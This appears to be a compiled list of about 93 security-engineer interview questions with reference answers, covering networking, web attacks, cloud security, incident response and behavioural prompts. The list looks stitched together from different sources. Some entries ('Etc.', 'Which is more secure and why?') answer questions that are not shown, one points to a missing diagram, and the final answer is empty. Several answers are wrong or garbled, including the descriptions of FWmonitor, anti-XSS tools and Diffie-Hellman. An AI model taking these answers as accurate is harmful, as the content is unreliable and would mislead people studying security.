Security Engineer Interview Questions & Answers

1

Differentiate between IDS and IPS in the context of Cyber Security.

Reference answer

Intrusion Detection Systems (IDS) scan and monitor network traffic for signals that attackers are attempting to infiltrate or steal data from your network using a known cyber threat. IDS systems detect a variety of activities such as security policy violations, malware, and port scanners by comparing current network activity to a known threat database. Intrusion Prevention Systems (IPS) are located between the outside world and the internal network, in the same area of the network as a firewall. If a packet represents a known security hazard, an IPS will proactively prohibit network traffic based on a security profile. The fundamental distinction is that an IDS is a monitoring system, whereas an IPS is a control system. IDS makes no changes to network packets, whereas IPS block packet delivery depending on the contents of the packet, similar to how a firewall blocks traffic based on IP address.

2

Explain to me what a brute-force attack is and how you can avoid it or mitigate it.

Reference answer

A brute-force attack is when a hacker attempts to uncover a target's password using a permutation or fuzzing process. This type of attack takes a long time and process. And it's because of that, that attackers use software such as Hydra or Fuzzer to automate the password creation process. To prevent a brute force attack, you'll need to carry out one or more of the following options: 1) Use strong passwords for your public server or web app: Include numbers, small and capital letters, and special characters to create a long and strong password. 2) Limit the number of login attempts: Either use a plugin to reduce the number of logins allowed per user. If users add their password incorrectly two or three times, they'll be banned from accessing their account for some time. 3) Keep an eye on IP addresses: This can be considered an extension of point #2. Monitoring IP addresses allows you to see where potential hackers for a brute force attack are coming from. It also indicates suspicious activity. This step is important for businesses whose employees work remotely. 4) Use two-factor authentication: You'll notice that many social media apps are beginning to rely on this add-security method. Google is one of those websites that uses a two-factor authentication method for when you log in for the first time via a new browser. 5) Use CAPTCHAs: An acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart," a CAPTCHA is a challenge that involves clicking certain images or writing certain letters and numbers to indicate that the person on the other end is, in fact, a person and no AI.

3

Describe what are egghunters and their use in exploit development.

Reference answer

Egghunters are small shellcode used in exploit development when the available buffer size for initial shellcode is limited. The egghunter searches through memory for a predefined tag (the 'egg') followed by the actual payload. Once found, it jumps to the larger payload. This technique allows attackers to execute larger shellcode in constrained environments, such as in buffer overflow exploits with limited space.

4

How can you prevent an XSS attack?

Reference answer

If the organization uses anti-XSS tools, I'd use those tools to create high-level encryption and prevent XSS attacks. If the company doesn't have anti-XSS tools, I'd create and enforce measures that guarantee user input validation and set up a CSP (content security policy) for the firm's network. After that, I'd encode special characters.

5

What is the difference between a bind shell and a reverse shell?

Reference answer

Bind shell (opens port and waits for attacker). Reverse shell (connects to port on attackers C2 server).

6

How have you handled situations where you had to communicate complex security concepts to non-technical stakeholders?

Reference answer

I focus on translating technical jargon into business impact. For instance, when explaining a vulnerability, I describe the potential risk to data confidentiality or revenue rather than the technical exploit. I use analogies and visual aids to simplify concepts, and I always provide actionable recommendations. This approach helps non-technical stakeholders understand the urgency and support necessary security investments.

7

What is a cloud-based single sign-on (SSO)?

Reference answer

Cloud-based SSO is a solution that allows users to access multiple cloud-based applications and services with a single set of login credentials.

8

What technical skill or project are you working on for fun in your free time?

Reference answer

This is a personal question. An example answer: 'I am currently building a home lab to practice cloud security automation, setting up a SIEM with Elastic Stack to analyze network traffic, and contributing to an open-source vulnerability scanner tool.'

9

How would you investigate and respond to a potential data exfiltration incident in a cloud environment?

Reference answer

“My first step would be immediate containment to prevent further data loss—I'd use CloudTrail logs to identify the affected accounts and temporarily restrict their access. Then I'd begin forensic analysis using CloudTrail, VPC Flow Logs, and any application logs to understand the attack timeline and scope. I'd look for unusual API calls, abnormal data access patterns, and any lateral movement indicators. For a systematic investigation, I'd use AWS GuardDuty findings as a starting point and supplement with custom queries in CloudWatch Insights or a SIEM tool. I'd also preserve evidence by creating snapshots of affected instances and copying relevant logs to a secure investigation environment. Throughout the process, I'd coordinate with legal and compliance teams on any notification requirements and document everything for potential law enforcement involvement.”

10

What Are Spyware Attacks?

Reference answer

Spyware is a kind of malware that is covertly installed on a targeted device to collect private data. Spyware can infiltrate a device when a user visits a malicious website, opens an infected file attachment, or installs a program or application containing spyware. Once installed, the spyware monitors activity and captures sensitive data, later relaying this information back to third-party entities.

11

What is cloud-based cloud audit management?

Reference answer

Cloud-based cloud audit management is a solution that provides a framework for managing cloud security audits and assessments.

12

What is the role of machine learning in detecting cyber threats?

Reference answer

Machine learning detects unusual occurrences and potential threats by analyzing patterns and behavior of things. In this way, it improves accuracy and expediency of threat detection.

13

Explain the difference between a vulnerability, threat, and risk.

Reference answer

A vulnerability is a weakness in a system that could potentially be exploited—like an unpatched software bug or a misconfigured firewall rule. A threat is an entity or action that could exploit that vulnerability, such as a malicious hacker or a piece of malware. Risk is the potential impact that occurs when a specific threat successfully exploits a vulnerability. For example, we recently identified SQL injection vulnerabilities in our customer portal. The threat was automated bots scanning for these weaknesses, and the risk was potential exposure of customer data, which could result in regulatory fines and reputation damage. We mitigated this by implementing parameterized queries and adding a web application firewall.

14

Describe the Risk Management Framework process and a project where you successfully implemented compliance with RMF.

Reference answer

The Risk Management Framework (RMF) is a structured process from NIST for managing cybersecurity risk. It includes steps: Categorize the system, Select controls, Implement controls, Assess controls, Authorize the system, and Monitor controls continuously. In a project, I successfully implemented RMF by categorizing a cloud-based application, selecting NIST SP 800-53 controls, implementing them with automated configuration management, conducting a third-party assessment, obtaining an Authority to Operate (ATO), and setting up continuous monitoring with SIEM tools.

15

What is encryption?

Reference answer

Encryption is the process of converting plaintext data into unreadable ciphertext data to protect it from unauthorized access.

16

Describe a time when you disagreed with a colleague about a security decision.

Reference answer

“Our development team wanted to store database credentials directly in their Docker images for faster deployments, but I believed this created significant security risks. Instead of just saying ‘no,' I worked with them to understand their pain points—they were frustrated with the complexity of our existing secrets management process. I proposed a compromise using AWS Secrets Manager with automatic rotation, and I created simple code examples showing how to integrate it into their applications. I also set up a brief training session to walk through the implementation. The developers were initially skeptical, but when they saw how easy the integration was and understood the security benefits, they became advocates for the approach. We ended up implementing this pattern across all our applications.”

17

Is ARP UDP or TCP?

Reference answer

ARP (Address Resolution Protocol) is neither UDP nor TCP. It operates at the Data Link layer (Layer 2) of the OSI model and uses its own packet format, directly encapsulated in Ethernet frames. It is used to resolve IP addresses to MAC addresses within a local network.

18

What are cookies in a web browser?

Reference answer

Cookies are information stored in your device by the web browser to help you browse the Web better, entering your preferences, login data, and tracing websites you visited.

19

What Is a Firewall? How Do You Set It Up?

Reference answer

A firewall is a hardware or software network security device that monitors inbound and outbound network traffic. Firewalls, which block the flow of traffic flagged as suspicious or malicious, are considered the first line of defense in the field of network security. To configure a firewall, you'll need to: - Secure the firewall. Only authorized administrators should have access. - Designate firewall zones. Evaluate assets of values and group them together according to function and sensitivity. Create a corresponding IP address schema. - Build access control lists. These rules dictate which traffic is permitted to flow in and out of different zones. - Configure related firewall services and logging. Set up your firewall to report to your logging server and disable any services you don't plan to use. - Test. Use vulnerability assessments to check that the firewall is behaving according to the parameters of your access control lists. Firewalls analyze network traffic according to pre-configured security rules and only accept inbound connections that follow these rules. Incoming data packets that do not adhere to these rules will be blocked by the firewall, which operates like a guard at the computer's port—the function is analogous to a bouncer checking IDs at a nightclub entrance. If your firewall is functioning properly, only trusted IP addresses are granted access.

20

Can you explain the concept of least privilege and how it applies to cloud security?

Reference answer

The principle of least privilege means granting users the minimum level of access necessary to perform their tasks. In cloud security, this reduces the attack surface by limiting access to sensitive data and systems, thereby minimizing potential security risks.

21

What is compliance as a service?

Reference answer

Compliance as a service is a managed service that helps organizations comply with regulatory requirements and industry standards.

22

What is Public Key Infrastructure (PKI)?

Reference answer

Infra to manage key handling for establishing trust.

23

What is an IPS and how does it differ from IDS?

Reference answer

IDS is an intrusion detection system. It will identify the intrusion and will leave the rest to the administrator. IPS is an intrusion prevention system. It will discover the intrusion and will take further action to prevent the intrusion. In addition, false positives for IDS will only cause alerts, while false positives for IPS could cause the loss of important data or functions.

24

Can you describe a situation where you identified a security vulnerability in a system you were responsible for securing? – Situation: security vulnerability in a system – Task: responsibility for securing the system – Action: steps taken to identify the vulnerability – Result: outcome of identifying the vulnerability

Reference answer

Situation: I discovered a SQL injection vulnerability in a web application during a routine code review. Task: I was responsible for securing the system. Action: I verified the vulnerability by testing with a proof-of-concept, then coordinated with the development team to implement parameterized queries and input validation. Result: The vulnerability was patched before any exploitation occurred, and we added automated security scanning to prevent similar issues.

25

What is a denial of service (DoS) attack?

Reference answer

A DoS attack is a type of attack that attempts to make a system or network unavailable by flooding it with traffic.

26

What is a VPN?

Reference answer

A VPN (Virtual Private Network) is a technology that allows users to securely connect to a network over the Internet.

27

How would you design a security monitoring strategy for a large enterprise environment?

Reference answer

I'd begin by creating a comprehensive asset inventory categorized by business criticality to focus monitoring efforts on high-value targets. I'd implement a centralized logging architecture that collects data from endpoints, network devices, cloud services, and applications, using log forwarders and APIs for real-time data ingestion. I'd develop a tiered detection strategy with high-fidelity rules for automatic alerting and broader hunting queries for proactive threat detection. I'd implement security orchestration to automate initial alert triage and enrichment, reducing analyst workload. I'd establish clear escalation procedures and integrate with our incident response platform for case management. Key metrics would include mean time to detection, false positive rates, and alert closure times, with regular tuning based on emerging threats and organizational changes. I'd also implement threat hunting capabilities with dedicated analysts focusing on advanced persistent threats.

28

What is container security?

Reference answer

As far as container security goes, it's all about making sure that your containerized applications as well as the environment housing them are protected from any harm. This involves employing certain tactics such as running scans over your images, making sure they are not infected by computer viruses or malware, and segmenting networks.

29

How do you keep your cybersecurity knowledge current?

Reference answer

"I regularly follow cybersecurity blogs like Krebs on Security and participate in forums like the OWASP community. Additionally, I attend industry conferences such as Black Hat and engage with peers through LinkedIn groups. This ongoing engagement helps me stay informed about emerging threats, which has directly influenced my approach to updating our security policies and training programs."

30

What is Cryptography?

Reference answer

Cryptography is a method of secure communication to protect data from third parties that the data isn't intended for. You can say something like: 'In my previous position, I used cryptography to encrypt the company's data and ensure that the information is transferred securely via the company's private network.'

31

You receive an alert from your security software indicating that a malware attack is in progress. What steps would you take to identify the affected systems, eradicate the malware, and prevent further attacks?

Reference answer

I would first isolate the affected systems from the network to stop the spread. Then, I would use endpoint detection and response (EDR) tools to identify all compromised hosts. After identifying the affected systems, I would remove the malware using antivirus or manual cleanup, and apply necessary patches. Finally, I would enhance monitoring and update intrusion prevention rules to prevent future attacks.

32

How would you approach threat modeling for a new mobile banking application?

Reference answer

Listen for a structured approach that includes identifying assets, potential threats, and mitigation strategies. Candidates should mention considering various attack vectors and prioritizing risks.

33

Can you explain the difference between a stateful and stateless firewall?

Reference answer

Certainly! The difference between a stateful and stateless firewall lies in how they handle network traffic and make decisions about allowing or blocking it. A stateless firewall operates by examining individual packets in isolation, without considering any previous packets or connections. It makes decisions based on a set of predefined rules, usually by inspecting the packet's header information, such as source and destination IP addresses, ports, and protocols. However, this approach can be less secure, as it doesn't take the context of the connection into account. On the other hand, a stateful firewall maintains a state table that keeps track of the active connections and their associated states. By doing so, it can make more informed decisions about whether to allow or block traffic, based on the context of the connection. This provides a higher level of security, as it can detect and block malicious traffic that might otherwise slip through a stateless firewall. In my experience, stateful firewalls are generally preferred over stateless firewalls due to their improved security capabilities and ability to better handle complex network traffic.

34

Your public API is under a DDoS attack. How do you respond?

Reference answer

My immediate response would be to: 1) Activate rate limiting and throttling at the API gateway or CDN layer to absorb the attack. 2) Enable DDoS protection services (e.g., AWS Shield Advanced, Cloudflare DDoS protection). 3) Implement WAF rules to block malicious patterns (e.g., SQL injection, known bot signatures). 4) Scale resources horizontally to handle the increased load. 5) Isolate the attack traffic by analyzing logs to identify source IPs or patterns and create blacklists or allowlists. 6) Notify stakeholders and incident response team. 7) After mitigating the immediate impact, I would conduct a post-mortem to identify the attack vector, improve detection and response playbooks, and implement long-term defenses such as Anycast networks, traffic scrubbing, and redundancy across multiple regions.

35

How do you manage security in a DevOps environment?

Reference answer

i) Insert security validation points into the DevOps process: Deploy tools aiming at automating security validation without human intervention. ii) Monitor continuously: Observe every activity of software development and distribution. iii) Educate on security: Explain to developers how one can write secured code. iv) Collaborate: Ensure that teams responsible for security, development, and operations have discussions among themselves.

36

With IDS (Intrusion Detection System), IPS (Intrusion Prevention System), and WAF (Web Application Firewall) in your architecture, how should these components be positioned in sequence?

Reference answer

The ideal placement should look like this : Reason Behind : - The WAF is placed at the front, directly facing web traffic coming from the internet acting as first line of defense, protecting against application-layer attacks like SQLi, (XSS), and other threats. - Behind WAF, the IPS should be deployed as it actively monitors incoming traffic and blocks known attack patterns, protecting the system from threats like malware, DoS attacks…

37

Explain man-in-the-middle attacks.

Reference answer

A man-in-the-middle (MITM) attack occurs when an attacker secretly intercepts and possibly alters communication between two parties who believe they are directly communicating with each other. The attacker can eavesdrop, steal credentials, or inject malicious data. Common methods include ARP spoofing, DNS spoofing, or exploiting unencrypted Wi-Fi. Mitigations include using encryption (e.g., TLS) and mutual authentication.

38

What is the difference between tcp dump and FWmonitor?

Reference answer

tcpdump is a command-line packet analyzer that captures and displays network packets based on filters, used for general network diagnostics and security analysis. FWmonitor is a tool specific to Windows (or certain firewalls) that monitors firewall events and logs, focusing on traffic that is allowed or blocked by the firewall. tcpdump captures all traffic on an interface, while FWmonitor monitors firewall rule activity.

39

What is the man-in-the-middle attack?

Reference answer

Man In the Middle Attack is a type of cyber attack in which the attacker stays between the two to carry out their mission. The type of function it can perform is to modify the communication between two parties so that both parties feel like they are communicating over a secure network.

40

How would you build a detection pipeline for a multi-cloud environment?

Reference answer

To build a detection pipeline for a multi-cloud environment, I would: 1) Collect logs from all cloud providers (e.g., AWS CloudTrail, Azure Monitor, GCP Cloud Audit Logs) and network logs (VPC Flow Logs, NSG flow logs). 2) Centralize these logs in a single data lake or SIEM (e.g., Splunk, ELK, Sentinel). 3) Normalize the log formats into a common schema for consistent analysis. 4) Develop correlation rules to detect cross-cloud attack patterns, such as an IAM role created in AWS being used from an Azure resource. 5) Implement baseline behavior profiling and anomaly detection using machine learning models. 6) Set up automated alerting with severity scoring and enrichment (e.g., threat intelligence feeds). 7) Create incident response playbooks that trigger automated containment actions (e.g., disabling compromised accounts). 8) Continuously test and tune detection rules based on new threat intelligence and post-incident reviews.

41

What is subnet mask?

Reference answer

A subnet mask is a 32-bit number used in IP networking to divide an IP address into network and host portions. It is represented in dotted decimal notation (e.g., 255.255.255.0) and determines which part of the IP address identifies the network and which part identifies the host within that network.

42

Can you describe a time when you demonstrated one of Amazon's Leadership Principles in your past job?

Reference answer

Each interviewer will typically ask two or three behavioral-based questions about successes or challenges and how you handled them using our Leadership Principles. Use the STAR method to frame your responses. Make sure your answers are well-structured. Have examples that showcase your expertise and demonstrate how you've taken risks, succeeded, failed, and grown. Amazon is a data-driven company, so your answers should include metrics or data when applicable.

43

What is social engineering? Give an example.

Reference answer

Tricking people into giving away personal sensitive information is what it's all about. For example, one could impersonate the CEO and call or email a staff member to request that they provide information regarding company portal passwords

44

What are your strategies for insider threat detection?

Reference answer

Insider threats can be detected using behavior analytics, strict access controls, monitoring privileged accounts, and establishing a whistleblower program. UEBA (User and Entity Behavior Analytics) tools provide useful insights.

45

How would you raise security awareness within a development team?

Reference answer

Raising security awareness within a development team involves regular training and workshops to keep security top of mind. Candidates might suggest integrating security into the development lifecycle through practices like secure coding guidelines and regular security reviews. Gamification, such as security challenges or capture-the-flag events, can make learning engaging and foster a culture of continuous improvement. Sharing success stories and lessons learned from past incidents can also be impactful. Ideal candidates will emphasize the importance of making security a shared responsibility and demonstrate innovative approaches to keeping the team informed and motivated to prioritize security in their work.

46

Describe a time you found a vulnerability in a system.

Reference answer

"At a fintech company, I discovered a SQL injection vulnerability during a routine security audit. I collaborated with the development team to conduct a thorough analysis and recommended immediate code changes. We implemented prepared statements, which eliminated the vulnerability. As a result, we avoided potential data breaches and improved our overall security posture. This experience taught me the importance of proactive security measures and clear communication."

47

How do you stay up-to-date with the latest security threats and updates within the industry, and what resources do you rely on for this information?

Reference answer

I regularly follow security blogs like KrebsOnSecurity and The Hacker News, subscribe to CVE alerts, and participate in forums like Reddit's r/netsec. I also attend webinars and conferences like Black Hat and RSA. Additionally, I use threat intelligence feeds from vendors and collaborate with peers in professional networks to stay informed about emerging threats.

48

What Does a Cybersecurity Analyst Do?

Reference answer

Cybersecurity analysts strive to preserve the integrity of sensitive data by defending infrastructure and systems from cyberattacks. To protect these assets, cybersecurity analysts evaluate system vulnerabilities through diagnostic testing and traffic monitoring. Based on the results of these assessments, cybersecurity analysts design and implement risk management strategies. Cybersecurity analysts also respond to cyber attacks, conduct forensic analysis of previous cyber incidents, and work to ensure organizational compliance with relevant security standards and protocols.

49

What is a Server Side Request Forgery attack?

Reference answer

A Server Side Request Forgery (SSRF) attack is where an attacker exploits a vulnerable server to make requests to internal or external resources on behalf of the server. This can lead to accessing internal systems, reading local files, or performing port scanning. It often occurs when a web application fetches user-supplied URLs without proper validation.

50

What is a digital signature?

Reference answer

A digital signature is a cryptographic mechanism that verifies the authenticity and integrity of a message or document.

51

What is a backdoor?

Reference answer

A backdoor is a type of malware that provides unauthorized access to a system or network.

52

How do you stay updated on the latest cyber threats?

Reference answer

I subscribe to threat intelligence feeds, review advisories from sources like CISA, NIST, and vendor bulletins, and participate in professional groups. Regular lab testing and hands-on practice also help in understanding evolving attack techniques.

53

What experience do you have in collaborating with cross-functional teams to ensure the security of systems?

Reference answer

I have experience working with development, operations, and compliance teams to integrate security into the software development lifecycle. For example, I conducted security reviews with developers to ensure secure coding practices, collaborated with IT to deploy patches, and worked with legal to meet regulatory requirements. This cross-functional approach ensured that security was a shared responsibility.

54

Differentiate between Information security and information assurance.

Reference answer

- Information Assurance: It can be described as the practice of protecting and managing risks associated with sensitive information throughout the process of data transmission, processing and storage. Information assurance primarily focuses on protecting the integrity, availability, authenticity, non-repudiation and confidentiality of data within a system. This includes physical technology as well as digital data protection. - Information security: on the other hand, is the practice of protecting information by reducing information risk. The purpose is usually to reduce the possibility of unauthorized access or illegal use of the data. Also, destroy, detect, alter, examine or record any Confidential Information. This includes taking steps to prevent such incidents. The main focus of information security is to provide balanced protection against cyber-attacks and hacking while maintaining data confidentiality, integrity and availability.

55

Explain the main difference between Diffie-Hellman and RSA.

Reference answer

- Diffie-Hellman (DH) algorithm: It is a key exchange protocol that allows two parties to communicate over a public channel and establish a shared secret without sending it over the Internet. DH allows two people to use their public key to encrypt and decrypt conversations or data using symmetric cryptography. - RSA: It is a type of asymmetric encryption that uses two different linked keys. RSA encryption allows messages to be encrypted with both public and private keys. The opposite key used to encrypt the message is used to decrypt the message.

56

Describe vulnerability assessment.

Reference answer

A vulnerability assessment is an approach for identifying, evaluating, and prioritizing vulnerabilities in systems, networks, and applications. It involves scanning and analyzing for security weaknesses to determine potential risks and recommend appropriate mitigation measures.

57

What experience do you have with endpoint protection solutions?

Reference answer

In my last role, I was responsible for implementing and managing endpoint protection solutions for a mid-sized organization. The primary solution we used was Symantec Endpoint Protection, which provided comprehensive protection against malware, ransomware, and other threats. My experience with endpoint protection solutions includes: 1. Deploying and configuring the endpoint protection software across the organization, ensuring that all devices were protected and updated. 2. Monitoring and analyzing alerts generated by the endpoint protection software to identify potential threats and take appropriate action. 3. Managing updates and patches to ensure that endpoint protection software was up-to-date and capable of detecting the latest threats. 4. Integrating the endpoint protection solution with other security tools, such as SIEM and log management systems, to gain better visibility into potential threats. 5. Training and educating employees on the importance of endpoint security and best practices for maintaining a secure environment. Through these experiences, I have gained a deep understanding of the challenges and best practices associated with managing endpoint protection solutions.

58

What is two-factor authentication, and why is it important?

Reference answer

Two-factor authentication or 2FA is a security feature that necessitates more than one way to prove a person's identity before granting access to its system or data. This could be a combination of something you know (password) and something you own (phone).

59

What programming languages are you proficient in for security tasks?

Reference answer

Languages commonly used in security include Python, C, Java, and JavaScript for scripting, exploit development, and web security.

60

What Is the Purpose of a Vulnerability Assessment in Cybersecurity?

Reference answer

A vulnerability assessment is a systematic process of identifying and assessing potential vulnerabilities in a system or network. Its purpose is to proactively discover weaknesses and security flaws that could be exploited by attackers. By conducting regular vulnerability assessments, organizations can identify and prioritize security vulnerabilities, implement appropriate security controls, and reduce the risk of successful cyber attacks.

61

What is cloud-based cloud risk management?

Reference answer

Cloud-based cloud risk management is a solution that identifies, assesses, and prioritizes cloud security risks to inform business decisions.

62

What is the difference between IDS and IPS?

Reference answer

IDS (Intrusion Detection System) monitors traffic and alerts when suspicious activity is detected, but it does not block. IPS (Intrusion Prevention System) goes a step further by automatically blocking malicious traffic.

63

Explain SSL Encryption

Reference answer

SSL(Secure Sockets Layer) is the industry-standard security technology creating encrypted connections between Web Server and a Browser. This is used to maintain data privacy and to protect the information in online transactions.

64

Explain the shared responsibility model in cloud security.

Reference answer

“The shared responsibility model basically divides security obligations between the cloud provider and the customer. I think of it as ‘security OF the cloud' versus ‘security IN the cloud.' For example, when I worked with Azure, Microsoft handled the physical security of data centers, hypervisor patching, and network infrastructure security—that's their side. My team was responsible for securing our virtual machines, configuring proper access controls, encrypting our data, and managing identity and access management. The tricky part is that responsibilities shift depending on the service level—with SaaS, the provider takes on more responsibility, while with IaaS, more falls on us.”

65

Describe your experience with penetration testing or vulnerability assessments.

Reference answer

I conduct quarterly vulnerability assessments using a combination of automated tools like Nessus and manual testing techniques. My methodology starts with reconnaissance to understand the attack surface, followed by automated vulnerability scanning and manual validation of findings. I prioritize remediation based on CVSS scores, exploitability, and business impact. I've also participated in red team exercises where I helped simulate advanced persistent threat scenarios. During one assessment, I discovered that our web application was vulnerable to privilege escalation through parameter manipulation, which wasn't caught by automated scans. This finding led to implementing input validation controls and regular code security reviews.

66

What exactly are encryption and decryption?

Reference answer

Encrypting is the process of transforming ordinary language into cyphertext, which obfuscates the original text, hence making it difficult to be read. Decrypting is the act of altering cyphertext back into natural language so that it can be understood once more by human beings.

67

What is a digital certificate?

Reference answer

A digital certificate is an electronic document that verifies the identity of an individual, organization, or device.

68

What is the difference between nmap -ss and nmap -st?

Reference answer

nmap -sS is a SYN scan (stealth scan) that sends SYN packets and analyzes responses without completing the TCP handshake, making it less likely to be logged. nmap -sT is a TCP connect scan that completes the full three-way handshake, which is more accurate but more detectable. -sS requires root privileges, while -sT can be run by regular users.

69

What are the different sources of malware?

Reference answer

The different sources of malware are given below: - Virus: A virus is a type of malicious malware that comes as an attachment with a file or program. Viruses usually spread from one program to another program and they will run only when the host file gets executed. The virus can only cause damage to the computer until the host file runs. - Worms: A worm is basically a type of malicious malware that spreads rapidly from one computer to another via email and file sharing. Worms do not require host software or code to execute. - Trojan: Trojans are malicious, non-replicating malware that often degrades computer performance and efficiency. Trojans have the ability to leak sensitive user information and modify and delete this data. - Ransomware: Ransomware is used as malware to extort money from users for ransom by gaining unauthorized access to sensitive user information and demanding payment to delete or return that information from the user. - Spyware: Spyware is basically a type of malicious malware that runs in the background of your computer, steals all your sensitive data and reports this data to remote attackers. - Adware: Adware is another type of malware that tracks the usage of various types of programs and files on your computer and displays personalized ad recommendations based on your usage history. - Botnet: A network of compromised devices controlled by an attacker for coordinated attacks.

70

How do you build a tool to protect the entire Apple infra?

Reference answer

To protect the entire Apple infrastructure, I would build a centralized security platform that integrates with Apple's ecosystem, covering endpoint protection (e.g., XProtect, MDM), network monitoring (e.g., packet analysis, SIEM), identity management (e.g., Zero Trust with certificate-based auth), vulnerability scanning, and incident response automation. The tool would use APIs to collect telemetry, apply machine learning for anomaly detection, and enforce policies across devices and services.

71

Etc.

Reference answer

Yes, similar approaches apply to other platforms (e.g., GitLab, Bitbucket, Jira). A tool can be built to search for secrets across various repositories, communication channels, and cloud services using APIs and pattern matching.

72

What is SSL/TLS?

Reference answer

SSL/TLS (Secure Sockets Layer/Transport Layer Security) is a cryptographic protocol that provides secure communication between a client and a server.

73

What is the principle of least privilege?

Reference answer

The concept of least privilege goes along the lines of granting employees adequate rights to help them carry out their duties.

74

Explain XSS, CSRF, and SSRF.

Reference answer

Focus: Web security reasoning Core Idea: Attacks exploit misplaced trust Strong Answers Cover: • Threat models, not definitions • Where trust breaks in modern apps • Prevention as design, not filters • Developer education impact

75

What cybersecurity skills are in demand?

Reference answer

The cybersecurity expertise that is wanted follows: i) Network security ii) Risk management iii) Threat analysis and intelligence iv) Incident response v) Security operations vi) Penetration testing vii) Cryptography viii) Cloud security ix) Compliance and regulatory knowledge

76

What is a cloud-based cloud security governance?

Reference answer

Cloud-based cloud security governance is a solution that provides a framework for managing cloud security risks and compliance across an organization.

77

Which is more secure and why?

Reference answer

TCP is generally considered more secure than UDP in terms of data integrity and reliability because it ensures data arrives intact and in order, and it includes features like sequence numbers and acknowledgments that help prevent some spoofing attacks. However, security depends on the application and encryption; UDP can be secured with DTLS, and both can be vulnerable if not properly protected.

78

How does a packet travel between two hosts connected in same network?

Reference answer

When two hosts are on the same network, the sending host first checks if the destination IP is within its subnet. It then uses ARP to resolve the destination IP to a MAC address. The packet is encapsulated in a frame with the destination MAC address and sent over the physical medium (e.g., Ethernet). Switches forward the frame based on the MAC address to the correct port, and the destination host receives it.

79

What is a brute force attack, and how can you prevent one?

Reference answer

A brute force attack is when a hacker tries a variety of username and password combos in an attempt to hack an account. The hacker may have half the information (say, a username) and is using trial and error to figure out the other half. There are several ways to slow down or prevent brute force attacks: - Hide the login page - Require 2FA logins - Increase password length - Require more complex passwords - Lock the user out after X failed attempts

80

What is the difference between network forensics, disk forensics, and memory forensics?

Reference answer

Network forensics: DNS logs / passive DNS, Netflow, Sampling rate. Disk forensics: Disk imaging, Filesystems (NTFS / ext2/3/4 / AFPS), Logs (Windows event logs, Unix system logs, application logs), Data recovery (carving). Memory forensics: Memory acquisition (footprint, smear, hiberfiles), Virtual vs physical memory, Life of an executable, Memory structures, Kernel space vs user space.

81

How do you handle a ransomware attack?

Reference answer

First, isolate infected systems to stop the spread. Then, identify the ransomware strain, restore from backups if available, and work with legal and compliance teams. Paying ransom is discouraged unless absolutely necessary and guided by law enforcement.

82

Explain the difference between vulnerability assessment and penetration testing.

Reference answer

Vulnerability assessment identifies known weaknesses in a system and provides a risk rating. Penetration testing goes further by actively exploiting vulnerabilities to demonstrate real-world risks. Assessments are broader and continuous, while penetration testing is more targeted.

83

How can you prevent a Man-In-The-Middle attack?

Reference answer

To prevent MitM Attacks, thee simple measures can be taken: i) Encrypting the communication using proper encryption ii) Voice communication through secured channels iii) Verification of authenticity of digital signature iv) Implementing 2FA before login v) Deploying VPNs vi) Keeping systems updated and well patched.

84

Describe a time you managed a security incident. What was your role and the outcome?

Reference answer

"At a previous organization, we experienced a ransomware attack that encrypted critical systems. I led the incident response team to contain the breach, immediately isolating affected systems and communicating with our IT and executive teams. We engaged external cybersecurity experts to assist with a forensic investigation. Post-incident, we revamped our security protocols and conducted training sessions, which led to a 60% decrease in phishing attempts within six months. This experience reinforced the importance of proactive security measures."

85

What data protection strategies are commonly used?

Reference answer

Data protection strategies include: encryption for data at rest and in transit with secure key management, data classification to identify sensitive data, data loss prevention (DLP) systems to monitor and control data flows, backup and recovery solutions, and masking and tokenization to obscure sensitive data in non-production environments.

86

Our DB was stolen/exfiltrated. It was secured with one round of sha256 with a static salt. What do we do now? Are we at risk? What do we change?

Reference answer

Yes, we are at significant risk because a single round of SHA-256 with a static salt is vulnerable to brute-force and rainbow table attacks, especially with modern hardware. We should immediately: (1) force password resets for all users, (2) notify affected users and regulatory bodies if required, (3) implement a strong hashing algorithm like bcrypt, scrypt, or Argon2 with a unique, random salt per user, (4) review logs for unauthorized access, and (5) enhance overall security posture (e.g., MFA, monitoring).

87

What CND tools do you knowledge or experience with?

Reference answer

I have knowledge and experience with various Computer Network Defense (CND) tools, including: Snort and Suricata for intrusion detection, Wireshark for packet analysis, Nmap for network scanning, Metasploit for penetration testing, Splunk for SIEM, Nessus for vulnerability scanning, Bro/Zeek for network monitoring, and various firewall and endpoint protection tools.

88

What is a cloud-based multi-factor authentication (MFA)?

Reference answer

Cloud-based MFA is a solution that adds a layer of security to the authentication process by requiring users to provide additional verification factors.

89

How would you design a secure multi-tier web application architecture in AWS?

Reference answer

“I'd design this using a defense-in-depth approach across multiple layers. For the network layer, I'd place the web tier in public subnets behind an Application Load Balancer with AWS WAF for protection against common web attacks. The application tier would go in private subnets with NAT gateways for outbound internet access. The database tier would be in private subnets with no internet access. I'd use security groups as virtual firewalls, allowing only necessary traffic between tiers. For access control, I'd implement IAM roles for EC2 instances instead of access keys, and use AWS Systems Manager Session Manager for secure administrative access. Data would be encrypted at rest using KMS and in transit with TLS. I'd also implement comprehensive logging with CloudTrail, VPC Flow Logs, and application-level logging sent to CloudWatch for monitoring and alerting.”

90

What are the key features of the 802.1x protocol?

Reference answer

The 802.1x protocol is a standard for network access control that provides a robust and flexible framework for authenticating and authorizing devices before granting them access to a network. From what I've seen, some of the key features of the 802.1x protocol include: 1. Port-based access control: 802.1x operates at the port level, which means it can control access to individual network ports on a switch or wireless access point, preventing unauthorized devices from connecting to the network. 2. Extensible Authentication Protocol (EAP): 802.1x uses EAP to support a wide range of authentication methods, such as passwords, digital certificates, and smart cards. This flexibility allows organizations to choose the authentication method that best meets their security requirements. 3. Role-based access control: Once a device is authenticated, 802.1x can also enforce role-based access control, ensuring that users and devices are granted appropriate access to network resources based on their roles and permissions. 4. Centralized management: 802.1x integrates with centralized authentication servers, such as RADIUS or TACACS+, allowing for efficient management of user credentials and access policies. Overall, I've found that the 802.1x protocol is an essential tool for securing wired and wireless networks by providing strong authentication and access control mechanisms.

91

How does SSL/TLS work?

Reference answer

SSL/TLS establishes an encrypted connection between a client and a server through a handshake process. The client and server exchange certificates, negotiate encryption algorithms, and generate session keys for secure communication.

92

What Are Cyberattacks? Name the Most Common Ones.

Reference answer

Cyberattacks are malicious offensive attempts to obtain unauthorized access to a system or network in order to steal, corrupt, or destroy information—typically for the attacker's benefit. Common types of cyberattacks include malware, phishing, man-in-the-middle attacks, SQL injections, DNS tunneling, and zero-day exploits.

93

Describe your experience with incident response. Walk me through how you handled a security incident.

Reference answer

